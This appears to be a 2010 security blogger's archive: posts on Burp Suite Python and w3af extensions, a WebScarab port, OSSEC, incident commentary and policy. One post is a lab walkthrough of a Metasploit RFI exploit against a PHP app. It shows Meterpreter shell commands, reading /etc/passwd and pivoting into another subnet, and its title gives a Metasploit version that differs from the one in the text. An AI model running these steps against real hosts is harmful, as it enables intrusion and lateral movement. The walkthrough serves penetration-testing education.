David Robert's -castlebbs- Blog

Running w3af plugins in Burp Suite

castlebbs — Thu, 09 Sep 2010 23:58:00 +0100

I am quite enthusiastic about the Burp Suite Python extension I wrote. This is a Python (Jython) binding written in Java implementing the Burp Suite extension API.

In the to-do list, I mentioned that more examples need to be written to show the benefit of having the Python support in Burp Suite to write extensions.

w3af is a web application attack and audit framework written in Python with a plugin based model. I found interesting to see what's involved in enabling Burp Suite to use w3af plugins.

As a demo/proof-of-concept I created a BurpExtender.py Python extension to load and execute w3af plugins within Burp Suite.

Not all the w3af plugins can be used in Burp mainly because limitations in the BurpExtender API. So for the moment, only plugins from the grep and evasion categories are supported.

While I may look at implementing other categories of plugins, having access to the grep plugins is nice, all the traffic going through Burp will be passively scanned by the plugins, and weaknesses will be reported in the Alert tab and in the console.

How to use it:

Download the BurpSuite w3af plugin
Follow the instructions for the installation of the Burp suite Python extension
You need to select which plugins you want to use - This is in the first lines of the BurpExtender.py:

# Here you define the name of the plugins you want (category.plugin)
plugins = ['grep.domXss',  'grep.error500', 'grep.errorPages', 'grep.feeds',  
           'grep.fileUpload','grep.hashFind', 'grep.httpAuthDetect', 'grep.privateIP', 'grep.ssn',
           'grep.strangeHeaders', 'grep.strangeHTTPCode', 'grep.strangeReason', 'grep.svnUsers', 'grep.wsdlGreper']

You need to specify the path of the w3af python modules. I have tested this program with w3af version 1.0-rc3.

# Here you should define the location of your w3af installation
w3afPath="C:\\local\\Program Files\\w3af\\w3af"
# Example for Unix "/usr/local/w3af/w3af"

Start Burp (example below with Windows):

C:\Burp>java -Xmx512m -classpath burpsuite_v1.3.03.jar;burppython.jar burp.Start Burp
init: Bootstrapping class not in Py.BOOTSTRAP_TYPES[class=class org.python.core.PyStringMap]
BurpExtender.py needs to be in a folder listed below:
['C:\\Burp\\Lib', '/C:/Burp/burppython.jar/Lib', '__classpath__', '__pyclasspath__/']
loading w3af plugins
---------------------
Loading grep.domXss...                     Success
Loading grep.error500...                   Success
Loading grep.errorPages...                 Success
Loading grep.feeds...                      Success
Loading grep.fileUpload...                 Success
Loading grep.hashFind...                   Success
Loading grep.httpAuthDetect...             Success
Loading grep.privateIP...                  Success
Loading grep.ssn...                        Success
Loading grep.strangeHeaders...             Success
Loading grep.strangeHTTPCode...            Success
Loading grep.strangeReason...              Success
Loading grep.svnUsers...                   Success
Loading grep.wsdlGreper...                 Success

Failed plugins are ignored and won't be proceeded. You can uncomment
the line 'print str(e)' in the module to see the actual exception

While browsing, if issues are passively identified, they will appear in the console and in the alert tab:

Limitations

As stated previously, not all plugins categories are supported, I may look in the future and please email me if you have this need
I probably need to put more work on the evasion plugins support since there are some issues in relation to the order in which the http headers are sent back to Burp
Some grep plugins won't work out of the box because they require sqlite3 python module which is not available in the Java python implementation used by the python extension (Jython). However, it is possible to have this working using the sqlite jdbc support. Please drop me an email if you need help in implementing this so you will have all plugins working.

Please give me some feedback if you try it: david@ombrepixel.com

Extending Burp Suite in Python

castlebbs — Mon, 30 Aug 2010 08:10:00 +0100

In a previous post, I wrote about creating a Burp Suite extension in Java using the IBurpExtender interface. When performing web application security testing, I often need to write small pieces of code to help me in automating some tasks and the code is generally specific the the application I am testing. Whereas I like Java, I think that dynamically typed languages are more efficient for creating small pieces of code quickly and efficiently. However, don't misquote me, dynamically typed languages like Python can also be (and are) used for very large development projects.

Having used Python for about 8 years now, I found very interesting the idea of creating a Python binding for the Burp Suite. Since Burp is written in Java, I obviously used Jython, the java implementation of Python.

My goal was to allow anyone to write the Burp extensions directly in Python using the same BurpExtender interface. Therefore, if you wrote Burp extensions in Java, you already know how to write them in Python.

First example

This very simple extension replaces the string "java" to "python" in all http responses received by the Burp. This is useless; but it is just to show how easy it is to write an extension in Python. Only those few lines of code are needed:

from burp import IBurpExtender

class BurpExtender(IBurpExtender):
    
    def processProxyMessage(self,messageReference, messageIsRequest, remoteHost, remotePort,
                            serviceIsHttps, httpMethod, url, resourceType, statusCode,
                            responseContentType, message, interceptAction):
        if not messageIsRequest:
            message = message.tostring().replace("java","python")
        return message

Embedding an interactive python interpreter

Let's look at something a bit more interesting, using an interactive python console to work on some messages proceeded by Burp:

from burp import IBurpExtender
from java.net import URL
from code import InteractiveConsole

class BurpExtender(IBurpExtender):
    def processProxyMessage(self,messageReference, messageIsRequest, remoteHost, remotePort,
                            serviceIsHttps, httpMethod, url, resourceType, statusCode,
                            responseContentType, message, interceptAction):
        if not messageIsRequest:
            uUrl = URL("HTTPS" if serviceIsHttps else "HTTP", remoteHost, remotePort, url)
            if self.mCallBacks.isInScope(uUrl):
                message = message.tostring()
                from pprint import pprint
                loc=dict(locals())
                c = InteractiveConsole(locals=loc)
                c.interact("Interactive python interpreter")
                for key in loc:
                    if key != '__builtins__':
                        exec "%s = loc[%r]" % (key, key)
        return message

    def registerExtenderCallbacks(self, callbacks):
        self.mCallBacks = callbacks

What this code does basically is: launch a Python interpreter, make all the python namespace available (you can access and modify any field and method that is offered by the BurpExtender object). Is this not cool?

Only messages that are in the Burp Suite scope will be intercepted and made available interactively (Target/Scope tab in Burp). This is done by the line:

 if self.mCallBacks.isInScope(uUrl):

isInScope is a callback function, the mCallBack object is registered by the registerExtenderCallbacks python method.

Below is an example on what is available with the interactive shell. The shell is available on the console used to start Burp suite. When a message is in the scope, the shell is launched.

First, we are within the scope of the processProxyMessage method and have direct access to the different fields.

Interactive python interpreter
>>> pprint(dir())
['httpMethod',
 'interceptAction',
 'message',
 'messageIsRequest',
 'messageReference',
 'pprint',
 'remoteHost',
 'remotePort',
 'resourceType',
 'responseContentType',
 'self',
 'serviceIsHttps',
 'statusCode',
 'uUrl',
 'url']

>>> pprint(message)
'HTTP/1.1 200 OK\r\nDate: Mon, 30 Aug 2010 12:16:40 GMT\r\nServer: Apache/2.2.9 (Fedora)\r\nLast-Modified: Mon, 30 Aug 2010 11:12:52 GMT\r\nETag: "2aa3a-4d-48f088ba1f500"\r\nAccept-Ranges: bytes\r\nContent-Length: 77\r\nConnection: close\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n<html>\n<head>\n<title>Test!</title>\n</head>\n<body>\nHello all!\n</body>\n</html>\n'

>>> print resourceType, responseContentType, statusCode
html text/html; charset=utf-8 200

It is also possible to interact with all the BurpExtender fields and methods:

>>> pprint(dir(self))
['ACTION_DONT_INTERCEPT',
[..]
 'applicationClosing',
 'class',
 'classDictInit',
 'clone',
 'commandLineArgs',
 'equals',
 'finalize',
 'getClass',
 'hashCode',
 'mCallBacks',
 'newScanIssue',
 'notify',
 'notifyAll',
 'processHttpMessage',
 'processProxyMessage',
 'registerExtenderCallbacks',
 'setCommandLineArgs',
 'toString',
 'wait']
>>>

It is possible for example to call any Burp method provided by the callback object:

>>> for message in self.mCallBacks.getProxyHistory():
...     message.getRequest().tostring()
... 
'GET /test.html HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Fedora/3.0.5-1.fc9 Firefox/3.0.5\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nProxy-Connection: keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

Adding new options in Burp Suite menus

This only works with the professional version of Burp Suite (minimum 1.3.07)

Now I am going to show how to create a new menu item within Burp that will call new functions written in Python. This code below adds a "Compare parameters" item in the Burp Suite contextual menu. In the Proxy/History tab, you can select two messages, right click and select the new compare function. This code is just an example of what can be done, it compares GET and POST parameters between two requests and tells the differences. It can be useful though because the Burp Suite comparer is not great to compare requests.

from burp import IBurpExtender
from burp import IMenuItemHandler

from cgi import parse_qs

class BurpExtender(IBurpExtender):
    def registerExtenderCallbacks(self, callbacks):
        self.mCallBacks = callbacks
        self.mCallBacks.registerMenuItem("Compare parameters", ArgsDiffMenuItem())

class ArgsDiffMenuItem(IMenuItemHandler):
    def menuItemClicked(self, menuItemCaption, messageInfo):
        print "--- Diff on arguments ---"
        if len(messageInfo) == 2:
            # We can do a diff
            request1=HttpRequest(messageInfo[0].getRequest())
            request2=HttpRequest(messageInfo[1].getRequest())
            print "Diff in GET parameters:"
            self.diff(request1.query_params,request2.query_params)
            print "Diff in POST parameters:"
            self.diff(request1.body_params,request2.body_params)
        else:
            print "You need to select two messages to do an argument diff"
        print "\n\n"

    def diff(self, params1, params2):
            for param in params1:
                if param not in params2:
                    print "Param %s=%s is not is the second request" % \
                          (param, params1[param])
                    continue
                if params1[param] != params2[param]:
                    print "Request1 %s=%s Request2 %s=%s" % \
                            (param, params1[param], param, params2[param])
            for param in params2:
                if param not in params1:
                    print "Param %s=%s is not is the first request" % \
                          (param, params2[param])

class HttpRequest:
    def __init__(self, request):
        self.request=request.tostring().splitlines()
        self.query_params={}
        self.getParameters()

    def getParameters(self):
        # get url parameters
        try:
            self.query_params=parse_qs(\
            ''.join(self.request[0].split()[1].split("?")[1:]))
        except:
            self.query_params={}

        # get body parameters
        try:
            index=++self.request.index('')
            self.body_params=parse_qs(\
            ''.join(self.request[index:]))
        except:
            self.body_params={}

How to use the python extension

You need the burppython.jar extension. I have created a jar file that contains the jython interpreter so you don't need to install anything else.

Steps:

You need to download the zipfile attached at the end of this article.
You need to unzip the content in a dedicated folder.
You need to copy the burpsuite jarfile in this folder (something like burpsuite_pro_v1.3.07.jar or burpsuite_v1.3.03.jar)
The python extension (BurpExtender.py) needs to be placed in the Lib subfolder.
You can launch the burp suite using suite.bat or suite.sh

Please send me an email to david@ombrepixel.com for any questions

To be done

A lot needs to be done,

Add the capability of using several python and java extensions at the same time and link them together
Add the capability of dynamically reload a python extension without having to stop-restart Burp
Put the project on a tracking version system like GitHub
Add more Demo that could leverage on the numerous Python libraries that already exist. UPDATE: please see the w3af extension
..

Porting WebScarab functions to Burp Proxy

castlebbs — Fri, 06 Aug 2010 23:14:00 +0100

I think that the "Reveal hidden fields in HTML pages" option from WebScarab is better that the equivalent option in Burp Proxy "unhide hidden form fields". Therefore I ported the WebScarab code in charge of this to Burp Suite as a BurpExtender extension.

Sometime it can save time just unhiding hidden fields to see/modify them when testing a web application. Both Burp Proxy and Webscarab offer this options. However it seems that the "unhide hidden form fields" in Burp only reveals the fields values and not the fields names.

With the native "unhide hidden form fields" option with Burp Proxy, the revealed fields look like:

With the Burp Proxy extension I wrote (with WebScarab code) the name of the fields are displayed before the value:

This code was tested with Burp Suite professional 1.3.07 and the free version 1.3.03.

import java.net.URL;
import java.util.*;
import java.util.regex.*;
import java.io.*;

public class BurpExtender {
    public burp.IBurpExtenderCallbacks mCallbacks;
    public byte[] processProxyMessage(int messageReference, boolean messageIsRequest,
                  String remoteHost, int remotePort, boolean serviceIsHttps, String httpMethod,
                  String url, String resourceType, String statusCode, String responseContentType,
                  byte[] message, int[] interceptAction) {

    if (!messageIsRequest)
        {
            try
            {
                URL uUrl = new URL(serviceIsHttps ? "HTTPS" : "HTTP", remoteHost, remotePort, url);
                // We are only looking at urls under scope with Burp (target tab) and also only text
                // based content-type In some case responseContentType is null, found this is the case
                // when Content-Lenght is 0 identified using mCallbacks.getHeaders()
                if (mCallbacks.isInScope(uUrl) && responseContentType != null
                     && responseContentType.contains("text"))
                {
                    return revealHidden(message);
                }
                else
                {
                    return message;
                }
            }
            catch (Exception e)
            {
                e.printStackTrace();
            }
        }
        return message;
    }
    public void registerExtenderCallbacks(burp.IBurpExtenderCallbacks callbacks) {
        mCallbacks = callbacks;
    }

    // Code from WebScarab (slightly modified)
    private byte[] revealHidden(byte[] content) {
        /* We split this pattern into two parts, one before "hidden" and one after
         * Then it is simple to concatenate part 1 + "text" + part 2 to get an
         * "unhidden" input tag
         */
        Pattern inputPattern = Pattern.compile("(<input.+?type\\s*=\\s*[\"']{0,1})hidden([\"']{0,1}.+?>)", Pattern.CASE_INSENSITIVE);
        Matcher inputMatcher = inputPattern.matcher(new String(content));
        StringBuffer outbuf = new StringBuffer();
        boolean matchedOnce = false;
        /* matched hidden input parameter */
        while(inputMatcher.find()) {
            matchedOnce = true;
            String input = inputMatcher.group();
            String name = "noname";

            // extract hidden field name
            Pattern namePattern = Pattern.compile("name=[\"']{0,1}(\\w+)[\"']{0,1}", Pattern.CASE_INSENSITIVE);
            Matcher nameMatcher = namePattern.matcher(input);
            if (nameMatcher.find() && nameMatcher.groupCount() == 1){
                name = nameMatcher.group(1);
            }

            // make hidden field a text field - there MUST be 2 groups
            // Note: this way we don't have to care about which quotes are being used
            input = inputMatcher.group(1) + "text" + inputMatcher.group(2);

            /* insert [hidden] <fieldname> before the field itself */
            inputMatcher.appendReplacement(outbuf, "<STRONG style=\"background-color: white;\"> [hidden field name =\"" + name + "\"]:</STRONG> "+ input + "<BR/>");
        }
        inputMatcher.appendTail(outbuf);
        return matchedOnce ? outbuf.toString().getBytes() : content;
    }
} // end BurpExtender

You can download the extension as a jar file (attachement below). To use it, you need to launch Burp this way:

java -classpath burpreveal.jar:burpsuite_v1.3.03.jar burp.StartBurp

On Windows based platforms, use a semi-colon character instead of the colon as the classpath separator.

Only the websites that are defined in the proxy scope will see their fields revealed (Target->Scope).

Metasploit 4.2.1: PHP Meterpreter

castlebbs — Tue, 27 Jul 2010 00:05:00 +0100

Only two months after version 3.4.0 of the framework, version 3.4.1 is released with an important number of new features.

Among the new features, I found this one really interesting:

PHP Meterpreter - A protocol-compatible port of the original Meterpreter payload to PHP. This new payload adds the ability to pivot through webservers regardless of the native operating system

The meterpreter is an advanced post exploitation system and is one of the best functions within metasploit. If you don't know what it is, I recommend you to have a look at the below:

Below is an example on how to launch a meterpreter session exploiting a Remote File Inclusion vulnerability in a php application. For the purpose of this test, I used the vulnerable version of Autonomous LAN party:

My "metasploit server" is on 192.168.142.129
The "vulnerable linux server" hosting the vulnerable web application is on 192.168.142.128, it is also connected to another subnet: 192.168.204.0/24 not accessible by the Metasploit server
There is a windows "server" on the other subnet: 192.168.204.12

               _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|

       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 570 exploits - 285 auxiliary
+ -- --=[ 212 payloads - 27 encoders - 8 nops
       =[ svn r9925 updated yesterday (2010.07.25)

msf > use unix/webapp/php_include
msf exploit(php_include) > set RHOST 192.168.142.128
RHOST => 192.168.142.128
msf exploit(php_include) > set SRVHOST 192.168.142.129
SRVHOST => 192.168.142.129
msf exploit(php_include) > set PHPURI /alp/include/_bot.php?master[currentskin]=XXpathXX
PHPURI => /alp/include/_bot.php?master[currentskin]=XXpathXX
msf exploit(php_include) > set PAYLOAD php/meterpreter/bind_tcp
PAYLOAD => php/meterpreter/bind_tcp

We used the unix/webapp/php_include generic exploit with the php/meterpreter/bind_tcp payload, and then we run it:

msf exploit(php_include) > exploit
[*] Started bind handler

[*] Using URL: http://192.168.142.129:8080/Po9G2hcnGmH
[*] PHP include server started.
[*] Sending stage (35521 bytes) to 192.168.142.128
[*] Meterpreter session 1 opened (192.168.142.129:40032 -> 192.168.142.128:4444) at 2010-07-27 00:12:04 +0100

meterpreter >

We now have a meterpreter session, here are examples of commands that are supported by the PHP meterpreter:

meterpreter > sysinfo
Computer: castlebbs-vulnerable
OS      : Linux castlebbs-vulnerable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
meterpreter > cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       castlebbs-vulnerables.localdomain       castlebbs-vulnerable
192.168.204.12  windows-server.localdomain  windows-server
meterpreter > download /etc/passwd /tmp/pass
[*] downloading: /etc/passwd -> /tmp/pass
[*] downloaded : /etc/passwd -> /tmp/pass//etc/passwd

We can obtain a shell:

meterpreter > execute -i -f /bin/bash
Process 5487 created.
Channel 5 created.
ps
  PID TTY          TIME CMD
 5485 ?        00:00:00 apache2
 5486 ?        00:00:01 apache2
 6175 ?        00:00:00 sh
 6176 ?        00:00:00 bash
 6177 ?        00:00:00 ps
whoami
www-data

Meterpreter for windows system includes much more functions that don't make sense in the context of a php exploitation (eg. DLL injection, migration etc.). But the real good thing with the php meterpreter is that it has a fully functional support for port forwarding and enable also the creation of new routes. For instance, having exploited a RFI on our web application, we can pivot through the webserver and pen-test the windows server on the other subnet still from our Metasploit server.

First, let's have a look at the capability of adding a new route:

msf exploit(php_include) > sessions -l

Active sessions
===============

  Id  Type         Information                           Connection
  --  ----         -----------                           ----------
  1   meterpreter  www-data (33) @ castlebbs-vulnerable  192.168.142.129:40032 -> 192.168.142.128:4444

msf exploit(php_include) > route add 192.168.204.0 255.255.255.0 1
msf exploit(php_include) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.204.0      255.255.255.0      Session 1

It needs to be understood at this stage that this route is not added in the operating system routing table, but on the framework itself. It means that most of the auxiliary modules and the exploits will work directly and the network traffic will be routed through the meterpreter. Below is an example of using the scanner/smb/smb_version on the routed host:

msf > use scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.204.12
RHOSTS => 192.168.204.12
msf auxiliary(smb_version) > run

[*] 192.168.204.12 is running Windows XP Service Pack 2 (language: French) (name:CASTLEBBS) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Then let's have a look at the port forwarding capability. While the routing capability of metasploit is nice, as said previously, it is not a route defined at the operating system level on the metasploit server. It means that no software except metasploit can access the routed host directly. The command below will forward the local port 222 (on the metasploit server) to the remote port 22 of the vulnerable linux server.

meterpreter > portfwd add -L 127.0.0.1 -l 222 -r 192.168.142.128 -p 22
[*] Local TCP relay created: 127.0.0.1:222 <-> 192.168.142.128:22

Because we didn't upload a custom ssh server, we need to know the credentials to login or (or let's say scanner/ssh/ssh_login was successful). Launching this command:

ssh -p 222 localhost -l user

Will actually open a ssh session on the vulnerable linux server, this is the port forwarding. But there is better now, we can use the ssh port forwarding options to access directly the ports from the windows server. Example below, local port 445 is forwarded to port 445 on the windows server therefore smb tools can be launched locally.

ssh -L 445:192.168.204.12:445 -p 222 user@localhost

And to have the bread and the butter, we can you the ssh dynamic port option (-D please see man ssh) with proxychains on the metasploit host, so all traffic is redirected to the vulnerable linux server acting as a socks proxy enabling full access to the subnet(s) connected to

Proxychains configuration (by default)
[ProxyList]
socks4  127.0.0.1 9050

# ssh -D 9050  -p 222 user@localhost
# proxychains nmap -sV 192.168.204.12
# proxychains msfconsole # haha this even worked - but maybe not very useful since metasploit has the route option

OSSEC active response with linux: logging dropped packets

castlebbs — Thu, 13 May 2010 21:08:00 +0100

OSSEC is a great piece of software. When you understand well how it works, you can consider using active-responses so it acts really like a Host-based Intrusion Prevention System.

There are a number of risks in enabling active responses, more details on the active-responses page:

Used by attackers as a denial of services attack (activating a response for a large number of legitimate IPs for instance using IP spoofing).
False positive: the configuration needs to be well fined-tuned for what level and/or which rules will prompt an active response.

But when the risks are understood, it can be just a great active defense tool, for example blocking in real-time brute-force attacks.

Any custom active responses can be written. OSSEC comes with a set of active responses scripts for Linux, one of them is firewall-drop.sh that add new rules to the linux firewall (iptables) to drop the packets.

This entry is to describe how to enable logging of dropped packets. I find useful to know if the response is efficient. For instance: what packets are being blocked after the response is triggered, how long will the attack continue, etc. This information is useful to tune the active-response timeout.

I like me you want to have logging enabled, since there is no options for that, I propose a patch for firewall-drop.sh:
http://blog.ombrepixel.com/public/firewall-drop.sh.patch

As showed on this Splunk chart above, it is possible to ensure that the active responses timeouts are correct for a majority of attacks scenarios. At the bottom, in yellow are the active responses: the first bar is when OSSEC started to block the IP the second one is when OSSEC removed the firewall rules hence unblocking the IP. At the top in blue are the packets being dropped by the attacker after the active response was enabled.

This patch works with OSSEC version 2.4.1

McAfee DAT 5958 deletes svchost.exe

castlebbs — Wed, 21 Apr 2010 21:10:00 +0100

http://www.incidents.org/diary.html?storyid=8656 Signatures update 5958 locks out Windows XP SP3 clients deleting or putting in quarantine the file svchost.exe.

It is definitely not the first time an antivirus delete a critical file on an operating system (eg. AVG removing user32.dll, Symantec update that affected millions of PCs or BitDefender update that caused 64-bit Windows machines to stop working).

Looking at the different posts on various mailing-lists, it appears that some people now need to manually fix up to thousands of PCs depending of the size of their network.

It's time if it's not already done to review your antivirus procedures to include testing and deployment strategies: all signatures won't be deployed on all PCs at the same time. As well as documenting the process you need to follow if you have a new virus that is not detected, you need also to document what you can do if you have a false positive. And... keep your antivirus vendor support contact numbers up-to-date in case you need them!

If it's too late: http://vil.nai.com/vil/5958_false.htm

Apache.org incident: started with a XSS flaw

castlebbs — Sat, 17 Apr 2010 16:21:00 +0100

Apache.org has suffered a targeted attack between the 5th and the 9th of April. The Apache infrastructure team wrote a comprehensive incident report that is worth reading.

I find this report interesting because it is well written, and it is a good example of a successful attack that is not too difficult to understand from a technical point of view. It outlines well that a successful attack is most of the time the result of successive exploitations of different vulnerabilities.

The exploitation of a single vulnerability is often not enough to compromise a system (this can happen though). Most of the time, it is the presence of several vulnerabilities and the smart exploitation of a combination of them that enable attackers to achieve their goals.

It's important to bear this in mind when assessing the security of system. If you use risk classification for vulnerabilities and you only look at them individually you may underestimate the risk.

Reflected XSS risk?

This attack leaded to a compromise of two servers used by the foundation (shell access, one server with root privileges), numerous passwords were stolen, a web application has been modified to steal even more passwords etc. and this wouldn't have been possible without the exploitation of the first weakness: a non-persistent (or reflected) XSS.

This type of cross-site scripting issue on web applications is very common. Because this type of XSS is non-persistent, I unfortunately still often see on security reports a level of risk Minor for this type of XSS. Obviously, a non-persistent XSS won't give you a remote root account, but as you can see on the Apache compromise, this was the first step. Without this first step the apache compromise wouldn't have been possible (at least this scenario).

Ironically, I understood that XSS vulnerability is stepping down from rank 1 to rank 2 on the new 2010 OWASP Top Ten because from now on, the team will focus more on risks that probability. This is my understanding listening to this podcast. (The 2010 OWASP Top Ten is not published yet at the time I wrote this article).

What can we learn from this incident?

In the report, the team explain, what the issues were and how they fixed them (Sections What worked?, What didn't work?, What are we changing?).

As said at the beginning of this article, this attack was not particularly sophisticated. Using XSS to steal a session cookie is a case study, brute force attack is obviously not new, improper file/folders permissions on a webserver is more than common and issues related to storage of passwords are basics as well etc.

Although some of the vulnerabilities on the hacked servers/application could have been fixed before, humans make mistakes and this is not going to change. An important issue in my opinion is that the attack was left undetected for a few days. With the current technology, the Apache team had to be alerted in real time for a least:

Brute force attack (hundred of thousands of password combination attack cannot be left undetected)
Change of an application administration settings (change the path to upload attachments)
Change of an application (New JSP files, JAR file that would collect all passwords on login and save them)

It's a common mistake to focus only on preventive controls. On the report I can't read much about plans for detective controls. Even in the section "What didn't work?" and "What are we changing?" there is no mention of being alerted that something is going wrong.

Today, it is important to have pro-active monitoring on what is happening on our servers. Logs should be monitored and alerts should be raised based on some criteria/threshold, operating systems and applications configuration and program files should be monitored using integrity checking tools etc. Procedures should be in place to monitor and react based on these events. At the end of the day it's people that will take actions so their involvement in the monitoring process should not be overlooked.

Regarding technology for monitoring, many products are available, on the OpenSource side, I would definitely recommend having a look at ossec, this is a Host Based Intrusion Detection System (HIPS)

Also, it is important to mention that this kind of attack is very common and it's not possible to rely on network infrastructure security to prevent those attacks: firewalls, network Intrusion Prevention Systems etc. are likely to let the attackers in. There was no buffer overflows or usage of unauthorized network ports used in this attack for instance.

Other considerations

Tinyurl and the others URL shortening websites are used now to deceive you clicking on the link and being victim of cross-site scripting attacks. You should be careful clicking on these links and I would recommend using the Preview feature.

On this attack, once an administrator session was hijacked exploiting the XSS vulnerability, the next steps were possible because of a badly configured web applications: it was possible to copy JSP files to a folder that will execute them. This is an issue I see very often: the operating system user that run the web server should not have the right to write to a folder that execute dynamic web pages.

The three most important security policies

castlebbs — Fri, 12 Feb 2010 21:57:00 +0000

What are the top 3 most important information security policies a company can have?

This question was asked on Linkedin and I found it very interesting to read the different opinions given. Based on the answers, I think it is possible to guess differences in people approach of security policies. I found for example, that reading the answers, you can figure out if the person is technology or process minded.

My answer reflects my opinion regarding Information Security. I think that technology is obviously essential to protect information systems. However:

without a strong governance structure...
...driving a security program...
...supported by a consistent set of security policies...

... technology can be a waste of money. The cursor should be put somewhere between technology and governance. If it positioned too near technology you will experience these example of issues:

No authority to enforce a security requirement (eg. You need to install a great security product on the servers of a new project, but the project manager doesn't want it to be installed, he has the final word because this new application needs to go live as soon as possible).
No consistence in the application of security across the information assets (eg. who care about the security of the old mainframe!, you prefer working on the security of your new virtual infrastructure!).
No strategy or alignment with business current and future objectives/initiatives (eg. You keep working on preventing the blue screen of death with the new Microsoft security patches whereas your company plan to acquire one competitor, just connect both networks directly and didn't think someone should be concerned by security).
You have many firewalls, intrusion detection systems, proxies, anti-virus, but programmers don't have any secure programming standards and web application programmers have never heard about OWASP.
You have many firewalls, intrusion detection systems, proxies, anti-virus, but you are still ensure that you will be aware of an attack because you don't have time to review the logs and you are not too sure if the alerts work.
...

Well, actually I could do a very very long list, it could be funny though, I may try to contact the MITRE to propose a new enumeration: Technology focused security drawback enumeration (TFSDE) :-)

Well, as you probably understood reading these few lines, I am more that convinced that security policies are essential. Policies establish, but also demonstrate governance. I am convinced about the essential need of security policies, but for the right reasons, not to tick a box and have my number of issues decreased when the auditor comes back. That's unfortunately still the main driver for policies and information security in general.

My Answer to the question:

What are the top 3 most important information security policies a company can have?

This is actually a very good question, and any security professional has to review policies, and needs to prioritize his work. So it makes sense to find out where to start.

I like the work done by Thomas R. Peltier trying to categorize policies in three tier:

Global policies (Tier 1)
Topic-specific policies (Tier 2)
Application-specific policies (Tier 3)

The CISSP describes as well 3 classifications of policies that matches more or less the one from Mr Peltier:

Organizational or Program policy
Functional, issue specific policies
System specific policies

As I have never seen two companies having the same set of policies (even if in a way of another they address the same things), I find it useful to first identify what category they are from.

If you see the set of policies like a pyramid, the policy at the top is the most important and the one that needs to be reviewed first. This is the one in the Tier 1 (Peltier's classification) or Organizational policy (CISSP classification).

Let's call it the "Organizational Information Security Policy" at the top of the pyramid. This policy normally lays out fundamental things like

Governance structure for security
Senior management commitment
lays out strategic and tactical security program
Define roles and responsibilities

I like this policy to be easy to read as a reference document for all employees. I like to keep it short (4-5 pages max) I would definitely review this document first.

The next one I would look at is the Asset classification policy. It needs to be really crystal clear to the company what assets need to be protected, to what extend and who is the owner.

For the third one, if you are responsible for Business Continuity, I would say the Business Continuity Management policy. If this is out of your scope, my third one would be Acceptable use policy.

I definitely think that information security is more about strategy and senior management commitment than trying to address it from the technology requirements, that's why I would definitely start reviewing, updating and have the Tier 1 policies signed off again.

IBM i security

castlebbs — Wed, 03 Feb 2010 22:33:00 +0000

IBM i is the operating system (formerly known as i5/OS or OS/400) that runs on System i hardware (formerly known as iSeries and AS/400). System i was the IBM mid-range of computer systems. IBM now offer IBM i on their new range of computer systems: Power Systems.

IBM i is used by many industries and generally host the organisations' critical data and applications. Given the classification of the data that is stored/proceeded on those systems, ensuring a high level of security is paramount.

Mid-range computer systems and mainframes has gained a reputation of being very secure. They are known to be secure by design (compared to Windows and Unix operating systems). This belief is generally shared between IT professionals and auditors. However, few security professionals and auditors are familiar with these systems and a comprehensive assessment of these systems may be overlooked.

The company Powertech did a survey of around 200 system i servers (many fortune 100 companies). The result is amazing. Looking at this reports, it seems obvious that the security of those systems should be getting more focus:

Almost 10% of enabled user profiles have default passwords. Over half the systems in the study have more than 15 user profiles with default passwords.
Too many users have high privileges over the operating system
Weak password policies
Lack of adequate controls over data: at the object level (platform and database layer) the majority of users has access to any data, hence breaching the need to know and separation of duties basis.
65% of the surveyed systems have no logical access control over network access: one can download the content of a database without any audit log and control at the network layer. Because of the issue described above on object level access control, on 65% of the systems audited, virtually any user can extract or modify any data from database tables without any auditing logs or restrictions. No needs to be a wizard, a simple ftp client or the excel add-on provided with the IBM Client will get the data for you.
18% of the systems have no auditing features activated at all.

What is really interesting is that the vulnerabilities highlighted here are very basic things: Trivial passwords, generic accounts, access control, log/monitoring, no hardening of the security settings etc. All recipes that are used on micro-computers and that are now mature should be applied on IBM i.

Network access control and auditing

Historically, the only way to access those systems was a dumb terminal. Access control was done restricting the user's menu on the terminal. There were not many paths to the database or platform (operating system) layers. There was no real need to apply a consistent object-level access control policy, the only way of accessing the data was through the menu.

With TCP/IP and network connectivity, there are many more points of entry to the data. Ensuring the effectiveness of these controls is obviously more challenging.

Importance of data classification policies

One of the conclusion that can be reach reading this report is that there is obviously a breach of the security policies of most organisations when it comes to security of there IBM i systems. I believe that almost all fortune 100 companies have information security policies. They just forgot to enforce them for their most critical systems!

This highlight the importance of having sound data classification policies (ISO/IEC 27002 7.2.1 - CobiT PO2.3). The result of this study shows clearly that inappropriate security level is applied on many IBM i systems assessed during the survey - I take the assumption that they proceed critical data. The implementation of a classification and handling policy force the company to identify where is their critical data so this is less likely that an information system is left overlooked by security professionals and help the auditors in defining their risk-based audit strategy.

Regardless of the technology used (mid-range computers, mainframes, micro-computers), the level of security has to be applied in proportion to the value of the data to be protected. Most of the companies have patch management procedures, hardening guides, vulnerability management programs but surprisingly enough, these don't often apply to mid-range and mainframes

Reference

I The survey can be downloaded from the Powertech website
I also strongly suggest that you read John Earl's article on auditing iSeries systems published in the ISACA journal:

http://www.isaca.org/Content/ContentGroups/Journal1/2008/jopdf0801-auditing-ibm.PDF

IBM i Market

ftp://ftp.software.ibm.com/common/ssi/sa/wh/n/pow03032usen/POW03032USEN.PDF

Virtual server deployment spanning security zones

